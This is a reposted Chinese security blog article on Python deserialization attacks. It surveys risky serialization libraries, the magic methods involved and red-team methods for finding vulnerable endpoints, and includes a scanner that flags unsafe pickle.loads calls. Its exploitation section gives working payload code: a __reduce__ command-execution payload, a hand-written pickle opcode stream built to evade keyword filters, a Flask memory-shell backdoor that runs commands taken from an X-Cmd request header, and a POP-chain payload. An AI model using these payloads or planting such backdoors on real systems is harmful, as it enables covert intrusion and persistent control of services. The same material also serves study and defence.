文章总结: 文章深入探讨了Python反序列化安全问题,打破了Python只有pickleRCE的误解,详细介绍了多种序列化库的风险、魔术方法在反序列化中的作用,以及四种高级利用技术:魔术方法劫持、Opcode级手工构造、内存马注入与持久化、POP链构造与属性污染。文章还提供了规模化发现Python反序列化漏洞的方法,包括白盒、灰盒和黑盒技术,为安全研究人员和红队提供了实用的攻击面建模和漏洞利用策略。 综合评分: 92 文章分类: 漏洞分析,渗透测试,代码审计,WEB安全,安全工具
Python反序列化:谁说 Python 只有 pickle RCE?
原创
Liam
说说别的
2025年12月21日 10:01 广东
“本文仅限合法授权下的教育与技术交流。本文不会提供可直接复现的利用 PoC 下载或可执行代码;若需开展渗透测试,请获取目标单位书面授权并签署测试范围与豁免协议(POA)。任何未经授权的测试均属违法,本人不对滥用行为负责。”
Java 有 CC 链,PHP 有 POP 链,Python 却被认为只有一个 pickle RCE?本文将带你深入 PVM 虚拟机底层,解析 4 种让防御侧防不胜防的反序列化利用姿势,实现从代码审计到内存持久化的全链路突破。
01
—
Python 反序列化长期被低估
在反序列化利用领域,Java 有 Commons-Collections,PHP 有 POP Chain,而 Python 却长期被认为“只有一个 pickle RCE”。
这是一个严重误判。
在真实红队项目中,Python 反序列化的价值并不体现在“payload 多复杂”,而体现在:
- Python 无沙箱、强反射、强动态
- 大量业务层自动反序列化
- AI / MLOps / 任务队列 / 配置系统天然依赖 pickle
- 防御侧误判为内部数据、不做任何校验
结论一句话:Python 反序列化是“低噪音、高成功率”的初始访问与横向支点。
02
—
Python 序列化攻击面
简要总结主要序列化库及其风险语义(用于建立攻击面目录):
-
pickle / cPickle,是 Python 的序列化模块,用于将 Python 对象(如列表、字典、类实例等)转换为字节流(序列化)以便存储或传输,并能从字节流恢复为原对象(反序列化)。
-
常见函数:pickle.loads, pickle.load, pickle.Unpickler
-
风险:高/严重,能反序列化任意对象并触发对象的魔术方法(__setstate__、__reduce__等)。
-
场景:模型文件、session、缓存、RPC(远程过程调用)、持久化文件。
-
cloudpickle,是 pickle 的增强版,专门设计用于在分布式计算和云环境中序列化更复杂的 Python 对象(如函数、lambda、类、闭包等),解决标准 pickle 在序列化某些对象时的局限性。
-
常见函数:cloudpickle.loads, cloudpickle.dumps
-
风险:高。cloudpickle 能序列化更多 Python 对象(lambda、局部函数、闭包),因此 gadget (中文翻译为小工具)空间更大。
-
PyYAML,是 Python 中处理 YAML 格式数据的核心库,用于将 YAML 配置文件和数据序列化为 Python 对象,以及将 Python 对象反序列化为 YAML 格式,广泛用于配置管理、数据交换和持久化。
-
常见函数:yaml.load, yaml.FullLoader vs yaml.safe_load
-
风险:高(yaml.load默认会构建任意对象);建议使用 yaml.safe_load 或受限 Loader。
-
marshal,是 Python 内置的底层二进制序列化模块,专门用于快速读写 Python 字节码(.pyc 文件),性能极高但功能受限,通常仅用于 Python 解释器内部,不适用于通用数据序列化。marshal不仅用于 .pyc文件,更危险的是它能反序列化 code object。这意味着如果攻击者能控制 marshal.loads()的输入,就能直接在目标进程中加载任意 Python 字节码,绕过绝大多数基于源代码的审计。
-
常见函数:marshal.loads
-
风险:高 — 但主要用于 Python 内部对象(非跨版本),存在构造任意 code 对象的危险点。
-
shelve,是 Python 内置的持久化字典模块,它将 pickle 与键值数据库(如 dbm)结合,让 Python 字典可以自动将数据持久化到磁盘文件,支持类似字典的接口进行数据存储和检索。
-
风险:高(内部使用 pickle);持久化文件为攻击面。
-
json(标准),是 Python 内置的 JSON(JavaScript Object Notation)处理模块,用于在 Python 对象和 JSON 字符串之间进行序列化和反序列化。
-
常见函数:json.loads, json.load
-
风险:低(只生成原生类型),但object_hook / object_pairs_hook被误用可能引入执行逻辑。
03
—
魔术方法与反序列化生命周期
重要的魔术方法与它们在对象序列化/反序列化时的触发点:
-
__getstate__ / __setstate__
-
__getstate__:对象被 pickle 时调用,决定序列化哪些状态。
-
__setstate__:反序列化时调用,用于恢复对象状态。危险点:会在不受信任的上下文被执行。
-
__reduce__ / __reduce_ex__
-
返回 (callable, args)或更复杂的结构,Unpickler 会基于它来重建对象,进而调用任意 callable。
-
__getnewargs__ / __getnewargs_ex__ / __getinitargs__
-
在 pickling/unpickling 的对象构造流程中被使用,可能在构造期间安排额外的调用。
-
__setattr__ / __getattr__ / __getattribute__
-
虽然不是序列化专有,但通过属性访问链构造 POP(property-oriented programming)链时非常关键。
Unpickler 在重建对象时不是简单“粘贴内存”,而是按规则调用构造器/恢复钩子——这些钩子提供了“可控的执行点”。这正是 gadget 搜索与连锁(POP 链)的基础。
POP 链利用目标环境中已有的“可以被反序列化触发的对象/可调用路径”,让 Unpickler 在恢复对象时执行一系列预期外的调用,最终触发危险行为(例如命令执行、网络请求、文件 I/O 等)。
gadget 不一定是“恶意类”,而是“可被滥用的类/函数组合”。
利用路径一:__reduce__ 劫持 (最常见)
- 触发条件:对象定义了
__reduce__或__reduce_ex__。 - 攻击钩子:反序列化时,Unpickler 会无条件调用该方法返回的
(callable, args)元组 。 - 后果:直接执行任意可调用对象(如
os.system),实现 RCE 。
利用路径二:__setstate__ 状态注入
- 触发条件:对象定义了
__setstate__方法 。 - 攻击钩子:在恢复对象状态时,攻击者控制的
state字典被传入该方法 - 后果:触发非预期的副作用,如修改系统逻辑或触发后续的危险函数 。
利用路径三:属性访问与属性驱动编程 (POP)
- 触发条件:在还原过程中发生属性访问(Property Access)。
- 攻击钩子:通过劫持
__getattr__或__getattribute__触发二级链条。 - 后果:将多个合法的类方法组合起来,形成最终的攻击链(POP Chain Principle)。
04
—
入口理解
红队不是找函数,而是找“反序列化入口”
真正有价值的入口通常满足三个条件:
| 条件 | 解释 |
| — | — |
| 自动触发 | 程序“帮你”调用 loads() |
| 数据可控 | 你能影响反序列化内容 |
| 上下文敏感 | 反序列化发生在高权限/高信任环境 |
真实世界常见入口
| 框架 | 重点看 | | — | — | | Django | session serializer/ cache backend | | Flask | session / itsdangerous | | Celery | accept_content/task_serializer | | MLflow | artifact load | | joblib | load / dump | | shelve | open |
一句话定义:
Python 反序列化 ≠ 数据恢复
Python 反序列化 = 对象重建 + 函数调用调度
反序列化时,以下方法不是被动调用,而是主动执行:
__reduce____reduce_ex____setstate__- 构造函数 / callable
05
—
如何规模化发现 Python 反序列化
红队难点在于:
如何在成百上千个 Python 服务中,快速找出“值得打”的反序列化点。
规模化发现的目标只有一个:
找出「可被外部影响、自动反序列化、且位于高价值执行上下文」的点
5.1 攻击面建模:先缩小 90% 的无效目标
优先级
反序列化风险 = 可控性 × 自动性 × 权限上下文
| 维度 | 红队关心什么 | | — | — | | 可控性 | 数据是否来自 HTTP / MQ / Redis / 文件同步 | | 自动性 | 是否无需用户交互即可触发 | | 权限 | worker / API / AI 节点 / 内网 |
5.2 白盒规模化发现(CMS源码 )
第一层:危险 API 定位(但不止 grep)
你关心的不是:
pickle.loads(...)
而是它的数据来源。
高价值模式:
pickle.loads(request.data)pickle.loads(request.body)pickle.loads(request.cookies.get())pickle.loads(redis.get())pickle.loads(cache.get())pickle.loads(msg.body)pickle.loads(open(file))
这些模式意味着:
攻击者可控 + 自动触发
第二层:AST 级静态分析(可自动化)
核心思想:
只标记“反序列化 + 非本地常量输入”
这段代码在扫描 Python 源代码,寻找可能包含安全风险的 pickle.load() 或 pickle.loads() 调用,特别是当这些调用使用了来自网络请求(request)、Redis 或缓存(cache)等不可信来源的数据时。
import astclass UnpickleVisitor(ast.NodeVisitor): def visit_Call(self, node): if is instance(node.func, ast.Attribute): if node.func.attr in ("loads","load"): # 判断是否 pickle / cloudpickle / marshal src = ast.unparse(node.args[0]) if node.args else"" if "request" in src or "redis" in src or "cache" in src: print("[HIGH]", node.lineno, src) self.generic_visit(node)
红队价值:
- 极低误报
- 可跑在 CI / Git 仓库 / 镜像解包中
- 能快速定位“可打点”
5.3 灰盒发现:你只有接口,没有源码
这是红队最常见的情况。
5.3.1 行为侧信道探测(而不是爆破)
原则:
不用 RCE payload,只用 无害 marker
Marker 设计目标
- 不执行系统命令
- 不联网
- 但能 改变程序可观测行为
常见 marker 行为
- 程序响应时间变化
- 500 → 200
- 日志异常
- cache 命中变化
- worker 重启
5.3.2 典型探测点
| 接口类型 | 为什么可疑 |
| — | — |
| /upload | 文件 → load |
| /import | 数据导入 |
| /task/submit | MQ |
| /model/load | ML |
| /config/apply | 配置反序列化 |
5.3.3 灰盒探测逻辑(红队流程)
1. 找到疑似“二进制 / base64”参数2. 投递安全 marker payload3. 观察: - 响应 - 延迟 - 行为变化4. 只要一次成功 → 高价值点
5.4 黑盒规模化发现(无源码、无日志)
5.4.1 红队思路
黑盒阶段,不是“确认 RCE”,
而是“确认 是否存在反序列化执行路径”。
5.4.2 判断信号
| 信号 | 含义 | | — | — | | 同一请求 payload 导致不同 worker 行为 | MQ / pickle | | 500 且无堆栈 | 反序列化异常 | | 响应卡死后恢复 | 执行阻塞 | | cache 被污染 | 反序列化写入 |
06
—
如何利用Python反序列化漏洞
红队视角下,反序列化至少经历:
- 对象重建
- 状态恢复
- 属性绑定
- 框架层再处理(session / cache / task)
可利用点远不止 __reduce__还有
__setstate____getattr____call__- 框架自动 hook
红队的 Gadget 思维不是“写一个类”,
目标不是: → 执行 os.system目标是: → 借助“已有对象行为”完成执行
这也是为什么:
- requests
- celery
- flask
- django
- sklearn
- mlflow
都可以成为 Gadget 池。
真实环境中,比较容易成功的反序列化利用是:
- 修改行为(proxy / hook / handler)
- 持久化内存状态
- 注入回调,而不是 exec
具体利用的4个方法:
| 方法 | 核心目标 | 涉及库 | 攻击关键魔术方法 | 隐蔽性/复杂度 | 目标代码架构要求 |
| — | — | — | — | — | — |
| 基础魔术方法劫持 (Classic RCE) | 获取初始访问权限,直接执行系统命令 | pickle , os, subprocess | __reduce__ , __reduce_ex__ | 低隐蔽 / 极低复杂度 :易被 WAF 拦截关键字 | 存在 pickle.loads() 且未过滤敏感模块,允许执行系统调用 |
| Opcode 级手工构造 (Stealth RCE) | 绕过关键字过滤(如黑名单禁用 reduce) | pickle , builtins (eval) | 无需魔术方法 :直接劫持 PVM 指令流 | 高隐蔽 / 中复杂度 :不含敏感类定义,代码呈字节码态 | 目标后端仅通过正则扫描源代码字符串,而非深度解析序列化逻辑 |
| 内存马注入与持久化 (Persistence) | 权限维持,实现无文件、无进程后门 | pickle , flask, sys | __reduce__ 配合 exec() 逻辑注入 | 极高隐蔽 / 高复杂度 :驻留解释器内存,不产生新连接 | 基于 Flask/Django 等 Web 框架,且反序列化点位于常驻进程上下文中 |
| POP 链构造与属性污染 (Logic Hack) | 绕过沙箱限制,篡改业务逻辑或外带数据 | pickle , requests, 业务类 | __setstate__ , __getattr__, __del__ | 极高隐蔽 / 极高复杂度 :利用“合法”逻辑组合攻击 | 目标代码中存在具有复杂魔术方法的类,且业务逻辑中存在对象属性的二次调用 |
方法一:魔术方法劫持 (Classic RCE)
这是利用 __reduce__ 触发代码执行的最基础模型,适用于快速验证漏洞。
- 代码实现:
import pickleimport base64class Exploit: def __reduce__(self): import os # 核心逻辑:返回一个函数对象及其参数元组 # 反序列化时将直接执行 os.system('whoami') return (os.system, ('whoami',))payload = base64.b64encode(pickle.dumps(Exploit())).decode()print(f"基础 RCE Payload: {payload}")
pickle.loads()在重建对象时,若发现__reduce__,会无条件调用其中的 callable 对象 。这是 Python 原生反序列化最经典的风险点- 注意:如果参数元组只有一个元素,必须写成 (‘whoami’,)(带逗号),否则 Python 会将其解析为普通字符串,导致反序列化失败
方法二:Opcode 级手工构造 (Stealth RCE)
这是针对高级防护的绕过手法。 它的特点是不定义类,直接编写 PVM 指令,从而避开 WAF 对 __reduce__ 等关键字的扫描。
- 代码实现:
# 手工编写 Pickle 字节码指令流# c: 导入模块/函数; (: 压入 MARK; V: 压入字符串; t: 组成元组; R: 调用函数 # 下面这段代码等价于执行 eval("__import__('os').system('id')")opcode_payload = b"cbuiltins\neval\n(V__import__('os').system('id')\ntR."import pickletoolsprint("--- 指令流逻辑分析 ---")pickletools.dis(opcode_payload) # 打印 PVM 栈机的执行步骤final_payload = base64.b64encode(opcode_payload).decode()print(f"纯字节码绕过 Payload: {final_payload}")
- 通过
\n定界符手动构造指令 ,利用c指令动态获取builtins.eval,完全避开了“恶意类”的静态特征,具备极强的隐蔽性。
方法三:逻辑污染与内存持久化 (Memory Shell)
利用反序列化修改运行时状态,在 Web 框架(如 Flask)中植入内存后门 。
- 代码实现:
import pickleimport base64INJECT_SCRIPT = """import sys# 动态寻找 Flask App 实例app = sys.modules.get('flask').current_app if 'flask' in sys.modules else Noneif app: @app.before_request def backdoor(): from flask import request import os cmd = request.headers.get('X-Cmd') if cmd: return os.popen(cmd).read(), 200"""class Persistence: def __reduce__(self): # 借助还原过程执行 exec,将 Hook 注入 Flask 内存 return (exec, (INJECT_SCRIPT,))payload = base64.b64encode(pickle.dumps(Persistence())).decode()
- “` 此手法通过 sys.modules 劫持当前进程的内存对象 ,不产生新进程,通过劫持请求钩子(Hook)实现长期潜伏 。
---
### 方法四:POP 链构造与属性污染 (Logic Hack)
在受限环境下,通过操作对象间的属性引用关系,诱导程序走向危险逻辑 。
* **代码实现**
import pickleimport base64# — 目标服务器上的“合法”代码架构 —class DataHandler: def init(self): self.config = “normalconfig” def setstate(self, state): # 1. 自动恢复属性 self.dict.update(state) # 2. 危险点:业务逻辑自动触发了 callback 属性中的 run 方法 if hasattr(self, ‘callback’): print(“[*] 正在执行业务回调…”) self.callback.run()# — 攻击者构造的“毒药”类 —class ExploitGadget: def run(self): import os # 实际攻击中这里会是反弹 shell os.system(‘whoami’)# — 攻击步骤 —# 1. 攻击者本地构造一个 DataHandler 实例evilhandler = DataHandler()# 2. 核心:将原本正常的 callback 属性修改为恶意的 ExploitGadget 对象evilhandler.callback = ExploitGadget()# 3. 序列化生成 Payloadpayload = base64.b64encode(pickle.dumps(evilhandler)).decode()print(f”[+] 构造的 POP 链 Payload: {payload}”)# — 模拟目标后端接收并执行 —# pickle.loads(base64.b64decode(payload)) # 这行会触发 whoami “`
这是属性驱动编程(POP)的典型体现 ,利用反序列化时自动调用的 __setstate__,将攻击逻辑隐藏在正常的业务类交互中。
“本文仅限合法授权下的教育与技术交流。本文不会提供可直接复现的利用 PoC 下载或可执行代码;若需开展渗透测试,请获取目标单位书面授权并签署测试范围与豁免协议(POA)。任何未经授权的测试均属违法,本人不对滥用行为负责。”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:说说别的 Liam《Python反序列化:谁说 Python 只有 pickle RCE?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论